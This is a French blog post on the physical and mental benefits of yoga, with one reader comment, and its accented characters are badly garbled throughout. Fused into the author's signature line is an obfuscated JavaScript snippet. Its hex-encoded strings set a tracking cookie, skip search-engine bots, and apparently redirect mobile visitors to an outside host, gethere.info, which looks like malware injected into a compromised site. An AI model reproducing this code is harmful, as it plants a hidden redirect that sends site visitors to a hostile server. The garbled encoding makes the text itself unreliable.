LES BIENFAITS DU YOGA

Par le 26 mars 2014

Quand on pense au yoga, on s’imagine souvent une dame vA?tue de blanc assise en lotus au sommet d’une montagne, le top de la « zAi??nitude » quoi! DerniA?rement, avec les mAi??dias sociaux, on peut voir une image trA?s physique du yoga qui circule.

Bien que ce soit trA?s inspirant, le yoga c’est plus qu’une pratique physique, c’est un mode de vie. DerriA?re ces poses se cache toute une philosophie. L’objectif, c’est de vivre en harmonie avec ce qui nous entoure, avec qui on est et surtout de trouver l’Ai??quilibre.

Aujourd’hui, je veux partager avec vous les bienfaits de ce mode de vie afin de vous inspirer Ai?? essayer la pratique physique et peut-A?tre mA?me en apprendre plus sur cette philosophie. Les voici :

1. Ai??La pratique physique permet d’augmenter la force du corps, la souplesse des muscles et la mobilitAi?? des articulations. Elle permet aussi d’amAi??liorer les fonctions de votre systA?me respiratoire, circulatoire, digestif et hormonal.

2. Ce mode de vie nous aide Ai?? trouver l’Ai??quilibre et l’harmonie entre le corps le mental et lai??i??esprit, ce qui accroAi??t la concentration, la stabilitAi?? Ai??motionnelle et la tranquillitAi?? de lai??i??esprit.

3. Le yoga amAi??liore le bien-A?tre en augmentant l’Ai??nergie et la productivitAi?? et en apaisant considAi??rablement la nervositAi?? et le stress.

4. Ce mode de vie de croissance personnelle mA?ne Ai?? un contentement intAi??rieur. La mAi??ditation, Ai??tant l’un des aspects du yoga, permet de revenir Ai?? la base et de trouver le bonheur dans les choses les plus simples.

Et vous? Quels bienfaits retirez-vous de votre pratique du yoga? Ai??crivez-nous un commentaire plus bas sur cette page!

Il y a tellement d’approches diffAi??rentes au niveau du yoga que je suis certaine que vous trouverez chaussure Ai?? vos pieds pour dAi??couvrir ce mode de vie et expAi??rimenter ses bienfaits! Namaste.

Virginie Duval Fondatrice de Dfine, www.dfine.cavar _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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2 commentaires

  1. Christine

    28 mars 2014 at 12 h 11 min

    Site intéressant

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